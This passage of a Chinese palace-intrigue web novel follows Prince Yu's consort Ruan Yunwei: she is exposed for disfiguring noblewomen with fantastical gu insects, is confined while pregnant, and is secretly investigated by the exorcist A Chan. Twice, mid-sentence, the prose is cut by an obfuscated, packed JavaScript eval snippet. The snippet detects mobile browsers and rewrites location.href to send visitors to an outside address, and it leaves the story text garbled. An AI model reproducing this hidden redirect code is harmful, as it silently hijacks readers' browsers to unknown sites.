但还有些贵女,身份尊贵,不可伤得太过,所以就只下了些慢性的毒药,让身体不适但又不伤害性命,浅浅教训她们一下。 但王妃一直觉得给贵女们下的毒效果不够理想,直到前不久煜王殿下去禾阳县,我回来禀报,王妃给了我一种蛊虫,让我用禾阳贵女试一试,反正不在桓安,不容易被发现,我便潜入她们身边,将蚀颜蛊放在她们的衣服上,就可以趁其不备钻进她们的脸部,将其毁容。 但我虽然是王妃派去跟踪殿下的眼线,也不能跟着殿下去所有地方,于是,便试图买通殿下身边的随从寇楠,让他告知我殿下在各府中见了哪些贵女,并以傀儡术控制了他的心智,让他深夜潜入煜王接触过的贵女身边下蛊。” “那寇芸是怎么回事?” “是、是小人为了威胁寇楠,将寇芸带回来关押在一处远郊别苑,王妃知道后,就让我给她下蛊……” 煜王怒不可遏,冲着阮云薇吼道:“我都没见过她,你也要害她?!” 阮云薇紧抿着嘴,唇色苍白,一句话都说不出来。 煜王又踹了眼线一脚,“你说!” 这一脚直接让眼线吐了血,他呕了呕,虚弱地说:“王、王妃是想用她试一试蛊虫的效果,开始只下了一种蛊,后来为了图方便,就将每种新蛊都在她身上试了,不过也会定期给她解药,让她不至于死掉。” “都有什么蛊?” “太多了,小人也记不清全部的,但是记得有噬心蛊,蚀颜蛊,乱情蛊……” “住口!”后面那些蛊虫的名字,个个都活似春.宫图,煜王见他越说越离谱,气得忙喊停。 “照你所说,噬心蛊,蚀颜蛊也都是王妃豢养的?”煜王的声音恨得都在颤。 这是楼映真在灵骅寺遇到蛇妖那晚,被闻寰居士发现的蛊虫,当时他明明记得,楼映真和阮云薇二人是手挽着手走的,后来又遇到幻境,没想到她竟心肠如此歹毒,都已经命在旦夕了还想着怎么害人! “是……”眼线道。 事已至此,阮云薇也不再挣.扎,不再杏眼圆睁柳眉倒竖,只安安静静地坐在茶几前,疑似失去了全部气力。 霍彦先见该说的都说了,便道,“这里的蛊虫,比我预想的还要多,幸好成智大师不辞辛苦赶过来帮我们处理,不然后果不堪设想。” 成智大师双手合十,谦虚回礼。 原来,霍彦先在抓获寇楠之后,审出他做这件事的原因是因为妹妹寇芸被王妃的眼线绑架,他不得不从。 霍彦先顺藤摸瓜找到寇芸的藏身地点,但见她身上似乎有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252530|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中蛊迹象,本来想找阿婵。 结果阿婵有事外出,并不在蓬莱春,还留信给他——若遇捉妖问题,可找灵骅寺方丈。 霍彦先出来便觉不对,自己怎么下意识总找阿婵,似乎真把她当成绣衣察事司的一员了,这个习惯可不好。 于是转头去找了成智大师来帮忙,幸好成智大师法力高强,可以控制住这些蛊虫。 顺便,霍彦先令人去信给各大玄门,准备建立一个应急对接人名单,专门用来应对突发的妖鬼事件,最近大桓不太平,是要早做准备,方便这些玄门高人能够随叫随到。 顺手搞了这件事之后,他便马不停蹄地将调查结果告诉煜王和公主,于是,众人便来到王府跟煜王妃当场对峙。 这一对峙不要紧,不仅对峙出伤害歌姬琴姬、酒楼婢女、给贵女下蛊毁容的罪证,还有灵骅寺那晚给楼映真下噬心蛊、后来又用蚀颜蛊毁她容貌的事,可谓是意外收获。 煜王记挂着楼映真的脸:“蚀颜蛊为什么在不同人脸上的症状不同?解药是哪个?” “小人、小人听说,蚀颜蛊有两批,第一批用在了禾阳县贵女脸上,但王妃觉得效果不好,后来似乎又改善了一批。这个好像……没、没有解药……” 眼线越说声音越小,但煜王还是听到“没有解药”四个字。 他心下凉透,一想到楼映真听到这个消息会有多失望,他简直气急,恨不能撕扯着阮云薇的衣领道,“你这毒妇,竟歹毒至此……” “三皇嫂,你真是太令我失望了!”此时,屋外传来玥宜公主的声音,她入宫禀报圣人此事,才姗姗来迟。 “三皇嫂,从我小的时候,阿娘就一直对我说,身为女子本就不易,见到有苦处的,能帮扶便帮扶一把,万不可同类相戕。若是阿娘如今还在的话,她看到你做的这些事情,一定会非常的伤心的!” 玥宜公主虽一向娇纵,但因嘉善皇后的教育,在大事上还是拎得清的。阮云薇做的这些事,刚好桩桩件件戳到了她最痛恨的点。 阮云薇见玥宜公主搬出嘉善皇后的名头,心下绝望,自知今天已难逃一劫。 大桓显贵犯罪,若有家世背景,或许会从轻处罚,唯独嘉善皇后虽已逝去,但圣人依旧奉其行事原则为金科玉律,如今公主拿出嘉善皇后的名头来压她,看来是半点不给她留转圜的余地。 她只幽幽地说:“殿下,我做这些,不过是因为想留住你的心……” 煜王已经不再想听到她任何的辩解,沉声道:“来人,将王妃送到西偏院,等候发落。” 阮云薇的脸色“唰”地一下变了,西偏院,那曾经是她整治后院那些小妾的地方,荒草满院,酷暑难耐,她如今怀有身孕,如何能够遭这个罪! 她低头咬唇,看向小腹,此时,这是她唯一的筹码了。 “王妃!王妃您怎么了!” 阮云薇正往外走着,突然脚步虚浮,软软倒地,昏厥过去。 煜王皱眉问道:“她这是怎么了?” 婢女跪地道:“方才郎中来过,说王妃刚有了身孕,只是脉象有些混乱,需要好好安胎,方可不惊动胎气。” “什么?!” 晁元肇闻言震惊,蹙眉看向倒在地上的阮云薇。 十年了,竟在这个时候有了孩子! 他嘴唇微动,想说些什么,看向在一旁的霍彦先和悦宜公主,神色为难。 半晌,他内心似乎天人交战,最后闷声道:“先把王妃关在这间屋子里面,外面加强守卫,不许任何人接触她。” 她有了他的血脉,这是皇室的血脉,也是他日后入主东宫的筹码…… 一想到这里,煜王最终还是犹豫了。 83. 死罪可免 次日,桓安显贵人家都已经传开,绣衣察事司霍彦先查出,禾阳县的贵女毁容案和众多欺凌民女案件均为煜王妃阮云薇所为,煜王和玥宜公主大怒,将煜王妃禁足以待惩戒。 这时,更多关于阮云薇以往岁月中暗戳戳的霸凌手段才被揭开。 “这不稀奇,她还不是王妃的时候,经常以找乐子为名欺凌比自己家世背景差的贵女,那个庄菀,嫁给虞大人之前,就是她最喜欢玩.弄的对象。” “唉,还不是因为身在桓安天子脚下,她不敢对这里的贵女做得太过分,但对付禾阳县那些贵女,可就丝毫不手软了,她们也是惨。” 贵女们都在宴席聚会中悄悄谈论这件事,可谓墙倒众人推。 宴席上,只有庄菡一个人默默在旁边听着,不插话。 *** 煜王府。 “殿下,阮淑妃来了。” 晁元肇刚办完公务回府,茶都没喝上一口,阮淑妃便已坐在王府等着他了。 他心知肚明,肯定是阮云薇的哪个忠心耿耿的贴身随从第一时间去宫中报信求救了。 阮淑妃如今在宫中地位不低,除了陈贤妃,就属她最得圣宠。 虽然她们都比不上嘉善皇后在圣人心中的地位,但煜王也是靠着阮淑妃在圣人面前说了不少好话。 因此尽管阮云薇做出了这些事,但他承了阮淑妃的情,当面还是要尊重一些。 阮淑妃不过四十出头年纪,保养得宜,风姿绰约,阮云薇也和她有几分类似,都属于温婉大气的长相。 她能在宫中混得如鱼得水,手段自然不一般,晁元肇一想到阮云薇的那些行事作风,多半都是阮淑妃教的,就气不打一处来! 因此当阮淑妃造访府上,晁元肇虽然礼数周全请她上座,但言语间也并不委婉: “淑妃娘娘今日可是来替云薇求情的?” 阮淑妃自从昨日听到侄女的亲信来求救,说完原委,就暗骂侄女蠢笨,做事居然这么嚣张!居然能被人查到这么多! 但一想到是绣衣察事司霍彦先查出来的,也只能认栽。 如今宫中无储君,东宫虚位以待,这个煜王虽是庶子,能力却不错,她当年建议侄女嫁给他,也是想着如果有朝一日他能够得圣人的青睐,入主东宫,那么自己也能有所倚仗,与陈贤妃抗衡。 横竖不能让陈贤妃的儿子成储君,结果这下全被侄女这个蠢蛋给毁了! 不过,虽然听说玥宜公主搬出了嘉善皇后,但侄女也算气数未尽,十年未孕竟在这个节骨眼上有喜了。既是皇家子嗣,圣人那里应该也有些求情转圜的余地。 即便是不能免于责罚,最好也能等她诞下子嗣再说,说不定到时候能够从轻发落。 因此,她今日专程来和煜王通个气,让他别忙惩戒,事缓则圆。 当然她在宫中多年,言谈间是相当的高明: “云薇这孩子,我从小看着她长大,其实心不坏,但就是太要强。自从嫁给殿下,就一直想为殿下延续香火,但十年来一直未能如愿。 每次进宫,她虽然从不跟我诉苦,但我知道她私下是很受折磨的,甚至彻夜难眠。 殿下,你知道的,女眷之间免不了有些口舌之争,云薇她十年都无所出,每次桓安显贵内眷宴席聚会,虽然大家面上不谈这件事,但女子出嫁从夫,最重要的还是子嗣,这是绕不过去的话题。 尤其是她这个年纪的贵女都陆续有了自己的孩子,大家都谈孩子的时候,她没有,私下肯定会有一些风言风语。 自从我听到这些闲言碎语,就担心她有朝一日情绪上无法排解,会过于激进,干些出格的事情,虽然常常劝她想开些,但没想到如今还真的应验了。” 阮淑妃长长叹了口气: “虽然她做的这些事情确实该罚,但也是因为她真心爱着殿下,害怕失去殿下,所以才会对殿下周围心怀不轨的女子有那么大的敌意。 当然了,你是王爷,身边有些女子很是正常,但哪怕您见一个爱一个,她也不该因为害怕失去殿下,就做这些事对不对!” 阮淑妃说着说着,越发恨铁不成钢,激动起来: “所以我今日是专程来骂她的,殿下,你让我骂醒她,否则我怕她就算受罚也心不甘情不愿,白白费了朝廷动用那么多人力调查定案的苦心。” 这一番话说得绵里藏针,明里暗里点晁元肇风.流,他听得很是气闷。但对着阮云薇娘家人,他自认也有理亏之处,不好发作。 于是晁元肇便也不端架子,故作真诚道: “姑母费心了,您向来疼爱我和云薇,您的苦心本王如何能不知? 今日您来得正好,云薇她刚巧查出有了身孕,十年了,相信没人比我们夫妻俩更盼望子嗣的到来。 本王自然是希望您能劝她认识到自己的错处,改过自新。如此在父皇面前,我也好帮她求情,毕竟一日夫妻百日恩,我也不能看她就这么万劫不复。” “元肇放心,待我去看看云薇,我一定好好教训她。” 这一番通气,二人都确认了对方没有割席之意,既然今后在朝堂之上还要联手,那么后续的事情该怎么办,二人也自然心知肚明。 随后,阮淑妃便见到了还在榻上颓唐躺着的阮云薇,将她拉起来劈头盖脸一顿痛骂。 “看看你干的这些好事!真给阮氏家族丢脸!你父母含辛茹苦将你养大,是为了让你做这些坏事的吗?若不是顾忌你有孕在身,我今日定要赏你家法!” 阮云薇跟随姑母学习后宫手段多年,自然知道姑母这是在救自己,当下便也老老实实受着,还配合着跪下痛哭流涕: “云薇知错了!不消姑母说,自从昨日知道自己有孕之后,云薇就觉得之前犯下太多罪孽,不仅影响到殿下,还会损了孩子的福报。 可姑母您也知道,这十年来,我时时刻刻都在担惊受怕,害怕因为没有子嗣留不住殿下的心,若非如此,我怎能如此糊涂! 如今云薇彻底知错了,不能让我的孩子一出生就知道自己有如此恶毒的母亲,云薇今后一定日日去佛堂抄经,为自己赎罪。 而且我已决定把自己的嫁妆都拿出来,给那些被我伤害过的女子治伤,只要殿下恩准我寻郎中,我一定会替她们设法找到治疗方法,就算真的无药可医,我也会替她们终生养老,我会去灵骅寺抄经礼佛,以此赎罪。” 阮淑妃听完心中满意,总算没白教,但嘴上还是厉声道: “你最好是真心知错,别再起歪心思,若不是看在你有身孕的份上,就算同为阮氏,我也不会再来管你半分!” 门外的晁元肇皱眉听着,心中暗道,总不算太蠢,还知道说些人话。 他悄声对侍从说:“一会儿进去送些松软罗衾和轻薄贴身的衣物,王妃的吃食也一定要上心,让郎中隔三差五就过来看看,她胎气不稳,一定别出岔子。” 侍从领命而去。 *** 送走阮淑妃之后,晁元肇心系楼映真脸上的蛊毒,正好禾阳县主新配制的药加急送来了,他便立马给楼映真送去。 “多谢殿下,已经好多了。”楼映真福了一福,淡淡道。 “可我怎么觉得,没比上次好多少呢?”晁元肇不免有些急躁。 “郎中说,这种毒十分罕见且难治,若不是殿下及时送药,我的毒说不定已经入了肺腑,能够保住性命已经是万幸,不敢奢望能好。” 阮云薇的那个眼线确实交待了,楼映真这个蚀颜蛊虽与禾阳贵女毁容的蚀颜蛊同出一脉,但相较之下更毒一些。 禾阳贵女中毒毁容虽无法根治,但不伤及性命,但楼映真这个毒,若不及时医治,会侵入肺腑,神仙也无力回天。 因此他想想依旧后怕,想起阿水曾经光洁姣好的容颜,更内疚心疼了些。 随即又想起害人的阮云薇,心中又恨得牙痒,虽然他命人不要苛待阮云薇,那不过是看在她有自己子嗣的份上。 而后又想起圣人那边还得打起精神来想办法求情,晁元肇不禁心事重重,因此没在楼映真处坐多久,便告辞离开。 “殿下慢走,我听说了云薇姐姐的事,她虽犯错,但既已诚心悔过有了子嗣,殿下便帮她在圣人面前求求情吧。” “她害了你,你还替她求情?” “姐姐也不容易,肯定是十年无子导致她钻了牛角尖,但如 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待到她生产之后,估计晁元肇就会找机会废掉她,到时候他的王妃之位空缺,自然要找人填补。 想到这里,楼映真便给自己定了两件最重要的任务: 一是尽快治好脸,现在不适合再拖延下去了,毕竟王妃的人选是不能有面部缺陷的; 二是要尽快找到短命鬼亡夫和阮云薇之间的交集。 阮云薇既然做过这么多恶事,那么自己亡夫之死说不定真是她所做所为,如果真的能找到证据,那么阮云薇触犯大桓刑法是板上钉钉的事,到时候就算是圣人也不会再保她。 只是锦书阁这么久了还不回消息,难道她亡夫之死和阮云薇没有半点关系吗?还是查不到? 但她回忆起当时在灵骅寺夜色之下,阮云薇听到她那句话的神情,并不像是假装的,不应该没有关系啊。 楼映真不死心,立即提笔又写了一封信催促锦书阁。 *** 蓬莱春。 谢慕游手里拿着楼映真催消息的信一筹莫展,头一回感觉棘手。 “楼映真那亡夫死了太久,又不是什么命案,普普通通的死,普普通通的出殡,这种线索很难查到啊。而且你说这个阮云薇怀孕怎么这么及时?感觉时间掐得也太准了!” 阿婵沉默思索,虽然阮云薇的罪行被揭露,但她这个节骨眼上怀孕,定会导致晁元肇有一段时间顾不上楼映真这边,感觉事情不太妙。 不得不说,阮云薇很会拿捏晁元肇的软肋,她若是生下孩子,再加上阮淑妃的势力,晁元肇虽然多情,但肯定也拎得清孰轻孰重。 阮云薇这次虽然活罪难逃,但死罪可免,可她不死,怎能替阿菀报仇! 想到此,阿婵对谢慕游说: “楼映真亡夫那条线你继续跟进,如果实在查不到,我们再想别的突破口。 不过阮云薇这次怀孕着实太过巧合,上一次我就觉得她的脉象很古怪,今晚我再去她府上打探一下她怀孕的具体情况。” 谢慕游担心:“你不是配合霍彦先晁元肇演戏引出凶手了吗,阮云薇会不会起疑心?” “放心吧,上次的装扮,连晁元肇和霍彦先都差点没认出我,阮云薇的眼线更不会知道是我。 而且霍彦先去煜王府找阮云薇对峙的时候,我刻意让他不要提及是我假扮的贵女,也出城避开了霍彦先,没去当场对峙,阮云薇应该还不知道她罪行暴露和我有关系。” “那晁元肇霍彦先会让你见她吗?现在她毕竟戴罪之身,应该被看管得很严密吧。” 阿婵笃定道:“放心,阮云薇现在最需要的是安胎,晁元肇一定会让她见郎中,霍彦先虽然派人看守,但他对我还算信任,见她一面应该不难。 正好上次我答应替阮云薇找助孕的药,还没给她呢。之前我对霍彦先说出城,就说恰好出城找到了她需要的药,届时再假装刚得知她已怀孕的消息,给她开点安胎药,多找借口去看几次,总能找到点突破口。” 说完,阿婵便立马准备去煜王府一探究竟。 84. 你赔! 煜王府。 阮云薇昏昏沉沉醒来,发现自己竟然抄着抄着佛经,又在床边案几上打起了盹。 夕阳余晖斜照进来,有些晃眼,已是黄昏时分。 这几日被禁足,虽然她没有被扔去偏院,在府中的待遇也并没有变差多少,但她总是觉得每日精神不济,比之前更加嗜睡。 不知道是因为天气太闷热,还是之前郎中说的胎脉不稳,导致她每日大部分时间除了抄经,就是无精打采地窝在榻上休息。 阮云薇醒来继续抄佛经,没一会儿,又觉眼皮发沉,半梦半醒之间,她只觉窗外有动静,窸窸窣窣的,但仔细去听,又没了声音。 可正当她要沉沉睡去时,偏又传来动静,头顶似有一阵凉气直冲天灵盖,阮云薇吓得醒过来。 “来人,来人,奉茶!”阮云薇拎起空荡荡的茶壶,哑着嗓子喊道。 但是没有人应答。 她心中暗骂这些婢女势利眼,如今她有罪名在身,就不用心伺.候,到时候等她诞下子嗣,再好好收拾她们! 但此时,她只能自己起身去外面厅中的茶几上续水。 两杯茶水下肚,才稍稍缓解了她的口干.舌.燥,她脚步发软,刚要回床榻边,却见窗外一个黑影飘过。 “谁?”阮云薇警惕地试探。 难道有人想伺机害她? 连问了几遍,都没有动静,她转身回到床榻上,忽然背后又有一阵阴风扫过。 她又惊又怒,以为是有人刻意恶作剧,想要她受到惊吓流产。 “哪里来的鼠辈,有本事堂堂正正站出来,背地里搞什么小动作!” 正骂着,却见窗棂上有一个宣纸剪成的小纸人,正别别扭扭从缝隙处往里挤。 没有丝线,它却可以自己行动,好似一个活生生的人。 ???!!! 阮云薇睁大了眼睛,难以置信地看着眼前这一幕。 等到那个白色的小纸人好不容易奋力挤进窗户,才慢慢膨胀,变成了一个圆鼓鼓的宣纸糊成的小人儿。 但是小纸人的眉眼,怎么越看越熟悉,阮云薇仔细分辨,心中突然猛地想起,这不是她床榻边上那个织绣娃娃的面目吗?! 那是桐风道长给她的织绣娃娃,是云疆风格,说是可以积攒生机,助她受孕,从此她便天天摆在床头角落隐蔽处,不让晁元肇发现。 可是如今,它怎么竟然会动,还变成了这幅样子?! “还我命来!” 小纸人一步步朝着阮云薇逼近,刻板的眉眼有一种死人般的僵硬,透出一股阴森的鬼气。 “你说什么?”阮云薇惊恐地后退,一时间没站稳,被床边的脚踏绊倒顺势坐到了床上。 结果身后,她摆在床边的那个织绣娃娃也突然动了,从角落里出现,慢慢朝她逼近。 ???!!! “还我命来……还我命来……” 阮云薇被前后夹击,起初还觉得害怕,但迅速冷静下来之后,想明白原委,觉得没什么好怕的,恶向胆边生,狠狠嘲讽道: “你们有什么好抱怨的,投胎在低贱.人家,生来不过就是受罪,吃不饱穿不暖,生生世世缴税为奴,倒不如把生机给我的孩子,还能享福,这是你们的福报!” *** 初昏之时,阿婵一身居士打扮到了煜王府,之前阮云薇邀请她的时候,是按上宾规格接待的,因此府中阮云薇身边的人都认识她。 她说明自己是来给王妃送药之后,没有受到阻拦,便被请到了厅堂等候。 原来阮云薇被禁足之时,晁元肇吩咐府中下人不许任何人接近,除了郎中。 而府中的下人都知道,闻寰居士之前为王妃送过安胎药,便直接请她上座。 但是不能直接见王妃,因为王妃门外有绣衣察事司的人严密看守,她还需要等候通传。 于是,阿婵便悄悄放出了东仓使者,在府中东窜西跳,闹出动静,下人侍卫四处查看到底出了什么事,一片慌乱。 阿婵趁乱对下人说,害怕王妃受到惊吓动了胎气,便没有等候通传,直接来到阮云薇房外。 果然,绣衣察事司的人依旧在门外伫立不动,像一排雕像,对于府中闹出的动静充耳不闻。 她试图直接进去,也被拦住,说需要等候通报。 没奈何,阿婵只能笑笑,站在窗边往里看,却发现阮云薇似乎是在梦中呓语。 声音不大,阿婵使劲凑到窗边去听,也只听到了“生机……受罪……福报”等字眼。 她心中奇怪,难道阮云薇这是做噩梦了? 东仓使者大闹一通,看着府中下人乱做一团,心满意足,终于收了神通,阮云薇的婢女怕王妃出事,敲门进入房间。 阮云薇一脸被惊醒的茫然,惊得从床榻上跳下来,发现床上没有织绣娃娃的身影。 她让婢女检查过后,发现织绣娃娃还在她原来藏匿的床头隐蔽之处待得好好的,这才将一颗心放入肚子里,原来刚才发生的一切竟然只是噩梦。 阿婵在门外等了半晌,终于被同意进屋见阮云薇。 “闻寰居士?”阮云薇十分意外,没想到这个时间竟会见到她。 “刚才府中似乎闹了不寻常的动静,我怕王妃动了胎气,便过来相护,只是他们不让我进来,非要等候通传。王妃刚刚……没有受到惊吓吧,怎么脸色如此煞白?”阿婵问道。 阮云薇神色这才缓和下来,有气无力地说: “无事,只是刚刚做了噩梦。居士既然来了,正好便给我看看吧,这两日我身子确实不太爽利,不知道是不是因为年龄大了头一次有孕,竟会如此难受,整日昏沉嗜睡,但睡又睡不踏实。” “对了,之前我有段时间不在桓安,出门为王妃找助孕的药引化瘿木去了,可找到之后立刻送到府上,才得知王妃已有身孕,看来我这趟是多余来了,还没恭喜王妃。”阿婵对阮云薇躬身道贺。 “居士客气了,劳烦你四处奔波为我找药引,药金我定会如数奉上。” 阿婵面露喜色,一副悬着的心终于放下的样子,道:“王妃果然是敞亮人!既如此,我还是先给王妃号号脉,看看胎脉如何。” 阮云薇十分配合地伸出手腕。 “这脉象……”阿婵皱眉。 “如何?是不是不稳?”阮云薇立刻紧张起来,想起刚才在梦中闹腾那样一出,她不免心有余悸,还真怕腹中胎儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264651|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么意外。 “王妃放心,脉象变稳了,是服用了什么安胎药吗?”阿婵问。 阮云薇让婢女取来一个药方,请她过目。 阿婵看过药方,寻常的安胎药而已,不过就是药材名贵了些,没什么异常。 只是……她心中诧异,虽然脉象是越来越稳了,但这脉象稳健之中却隐隐有奇怪的气息穿流其中,很隐蔽,像是一根黑色的线隐藏在无数红线之中,需要非常仔细地甄别,才能发现其踪迹。 不管这是什么,都很不寻常,但一时间阿婵也还参不透。 联想起刚才在窗外听到阮云薇的呓语,她心中顿生疑窦。 但再跟阮云薇套话,她所说也没有什么特别的信息,阿婵见打探不出什么,便决定告辞。 “王妃继续服用安胎药即可,不过可以先带着这个护身符。” “这是……” 阿婵笑道:“上次王妃不是管我要抵御煞气的护身符么?当时您尚无身孕,不过如今不同了,即便煞气凶手已伏法,也要谨防其他妖物,还是小心为妙,只不过这价格……” 看到对方这幅嘴脸,阮云薇放下心来,说到底不过是为了求财,她虽然现下处境不好,但买护身符的私房钱还是有的,再说也是为了孩子,于是便答应:“居士放心,价钱不是问题。” 阿婵递过符箓,拿了法金,告辞离开。 她走后,阮云薇看着桌上的护身符,嘴角抿出一丝笑来。 虽然晁元肇最近没有再来跟她见面说话,但也没有对她特别冷漠,每日送来的吃穿用度一看就是精心安排过的。 如今,只要自己能够顺利生下孩子,后续便还有可筹谋的余地。 想到此,阮云薇不禁长出一口气,庆幸自己这些年惨淡经营,付出的心血总算没有白费…… *** 天色渐晚,霍彦先忙完公务,从绣衣察事司出来,走着走着,头顶突然有什么东西袭来! 他的警觉非寻常人能比,一个闪身敏捷躲过,那东西丝毫没有沾到他衣角半分,但他顺着惯性踩到了掉落在脚边的东西上。 霍彦先定睛一看,那竟然是一个焦黄酥脆的胡饼!上面有个缺口,疑似被人咬过一口。 他抬头,发现阿婵正在路边一家酒楼的二层房檐上呆呆地看着他,神情委屈巴巴,就像绣衣察事司的阿黑刚生的一窝小狗里黄白相间的那一只,每次抢不到食物只会发愣。 阿婵目瞪口呆地看着霍彦先,嘴巴张着,右手还维持着空握胡饼的姿势。 “我的饼……刚吃了一口……” “……” 霍彦先看看脚下胡饼上的黑脚印和碎渣渣,又抬头看阿婵一副心痛至极快要哭了的样子,心中默默叹了一口气。 只见阿婵满眼明明只有那个胡饼,却强颜欢笑对他道歉:“不好意思啊,霍大人,没砸着你吧。” 但那笑容都快挂不住了,满脸写着“你赔我饼!” 霍彦先很是无语,没好气地问:“你为什么大晚上的在房檐上吃饼?” “我在夜观天象啊。” 夜观天象? 霍彦先抬头看看天,满是乌云,哪里有天象,什么都看不见! 85. 屋顶肩并肩 霍彦先一脸黑线:“这么厚的乌云你能看见什么?” 阿婵说:“大人有所不知,乌云压顶,也是天象的一种。” “那你看出什么了?” “不可说。” 霍彦先没辙:“行吧,那你看吧”转身便走了。 阿婵看他决然转身,暗暗腹诽,什么人哪,可怜我的饼,刚吃了一口! 没了饼,孤独的夜只能托着下巴对着天空发呆。 看了一会儿,没有吃的提神醒脑,阿婵觉得有些犯迷糊,忽然听得身边有窸窸窣窣的声音,回头看,睁大了眼睛—— “霍大人?” 只见霍彦先拎着一袋子鼓鼓囊囊的东西飞身上了房檐,脚步轻巧地走到她身边,坐下。 他冷着脸,也不看阿婵,把手中的一.大袋子东西整个塞给阿婵。 袋子热气腾腾,泛着扑鼻的香气。 “这是……?” 阿婵打开袋子往里瞅了一眼,好家伙,糖脆饼、胡麻饼、二仪饼、豆沙饼餤……竟然还有透花糍!还有一壶蔗浆! 她脸上立马笑开了花:“难为霍大人竟然买了这么多……” 霍彦先这才扭过脸,冷着脸轻咳一声:“我不知道刚才那个饼是哪家的,就都买了一些,算是……给你赔罪……” 他本来转身想走,但不知怎么,鬼使神差便走进了附近的小食摊子。 摊主问他要什么,他发愣,才想起刚才那饼,他竟也不知道是哪种胡饼。 平时自己在外办案吃饭都是随便买点囫囵三两口吃完,要不就在绣衣察事司吃直接做好的,从不会刻意留意食物的口味。 见他发愣,摊主又问了一遍,霍彦先只好都买了一些,心想反正以阿婵的食量,肯定也能吃得完。 买完一个摊子,他左看右看,皱起了眉,觉得可能这些不是她爱吃的,于是又辗转了几个摊子,不知不觉饼买了满怀。 买完饼,霍彦先又皱眉,心想这么多饼,她吃完不得噎死? 一抬头,正好走到了他们二人上次一起吃饭的雅玉食坊。 这回他终于想起来,那天她好像是说透花糍好吃来着,于是进去买了打包好,又叫人灌了一壶蔗浆装好,这才上房檐来赔给她。 阿婵笑眯眯把一半的饼塞进霍彦先手里:“大人忙一天公务也辛苦了,还没吃饭吧,一起吃一起吃!” 那慷慨的样子,仿佛她才是请客的人。 “不用了,你自己吃吧。”霍彦先皱眉推拒。 “哎呀吃吧吃吧别客气!”阿婵一个劲儿地往他手里塞。 霍彦先这才别别扭扭接过饼,挑一个,咬一口,嚼嚼嚼,嘴角不自觉泛起上扬的弧度。 夜幕已降,华灯初上,两个人一起在屋檐上,肩并着肩,看天空乌云沉沉,看坊间街道车马行人来来往往,沉默吃饼。 …… 直到打更人从下面走过,霍彦先才惊觉自己竟已陪她坐了这么久。 阿婵感动于胡麻饼和透花糍的美味,心情大好:“大人果然会吃,这么多种都很好吃,就是今晚吃得实在太多,要是遇见妖怪都追不动了,得赶紧活动活动!” 于是她“腾”地一下在房檐上站了起来,太过突然,霍彦先吓了一跳,赶紧虚护住她的腿,免得她掉下去。 见她站稳,才道:“你今天房顶站岗,可有什么收获?” 此时已经刮了很久的风,将厚厚的乌云掀开一个角,一道缝,渐渐地,乌云都散开了,露出星辉,只不过,月亮还是黯淡无光。 阿婵看见天际的一颗星,神情严肃了起来。 她伸手指着那颗星,“大人看到那颗星了吗?” 霍彦先抬头,顺着她指的离月亮很近的一颗星。 阿婵道:“这是大客星,占经有云:大客星入月中,月无光,四夷来侵,棺木贵,民多病亡,野犬多狂。” 霍彦先听到这话,不禁四下查看,生怕周围有人听见,他冷肃提醒:“这里是桓安,慎言。” 反正他已听见,阿婵便点到为止:“我观测的星象并不一定准确,也不一定会应验,大人只当我乱讲吧。” 霍彦先心中却似又种下一包随时会爆炸的火药,她不知道,但他刚从宫中.出来,十分清楚。 最近西北地区的陇丰镇,确实有小规模的战事发生。 朔勒的东边分支——东朔勒有几百骑兵屡次在大桓边境骚扰百姓,抢掠财物,但因没有闹出人命,看得出他们只是冲着财物去的,圣人只秘密派遣一千兵力驱赶震慑东朔勒的人。 这件事对于整个西北边境局势来讲,其实不算严重,因此朝廷封.锁消息,桓安的寻常百姓尚不知道。 可霍彦先也并不能放心确定,这是否只是朔勒放出的烟雾弹。 东朔勒的骑兵不过是散兵游勇,如果此战事不能尽快平息,西朔勒趁火打劫还有后招,那么阿婵所说的“棺木贵,民多病亡”难保不会成为现实。 再一次,霍彦先审视阿婵,她的占辞,每一次都甚至比司辰局给出的还要快,至于准确性,荔南水患已经应验,这一回…… 他正想着,忽然,阿婵将饼袋往他怀里一揣:“有煞气!” “什么?!”霍彦先还没反应过来,阿婵已经沿着房檐飞身低伏而去。 他只得将袋子乱七八糟地揣在怀中,也跟着追去。 煞气流窜很快,但还好后面缀了阿婵刚刚甩出去的“小尾巴”。 *** 两人的轻功都是一等一的好,又擅长追踪术,飞檐走壁追着缀了阿婵符箓四处流窜的煞气,来到了桓安北郊的一处民宅。 情况紧急,二人翻墙进去,发现煞气钻进一间屋,瞬间屋内有女子惊呼的声音! “退!”阿婵冲进去将煞气用符箓击退。 只见一团黑色浓雾正纠.缠在一妇人周身,化作黑色巨蟒向其腹部越缠越紧,似要将她吞噬。旁边她的丈夫不住大叫,乱拳打向煞气,想要将煞气驱赶走,但没有任何用处。 突然一抹凌厉金光乍现,煞气感知到有敌来袭,也不恋战,直接抽身窜出窗外。 “我去追!”霍彦先扔下一句便飞身而去。 “揣好护身符别靠太近!”阿婵对他说了一句,自己则留在屋内查看妇人状况。 “那煞气妖物……也来找我了?”妇人本睡眼惺忪,此刻才反应过来,十分后怕,握着阿婵的手瑟瑟发.抖。 阿婵给她把脉,还好,他们赶来及时,煞气没有作祟成功,胎气平稳。 她安抚孕妇之后,没多停留,出来便四处找记号。 刚才霍彦先临走给她使了个眼神,示意他继续追踪,会留下记号。 阿婵恍惚有种奇怪的感觉,怎么自己也快成绣衣察事司的一员了? …… 